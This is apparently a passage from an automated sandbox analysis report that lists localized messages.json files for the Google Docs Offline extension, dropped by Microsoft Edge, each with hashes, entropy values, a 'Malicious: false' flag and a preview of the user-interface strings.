Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

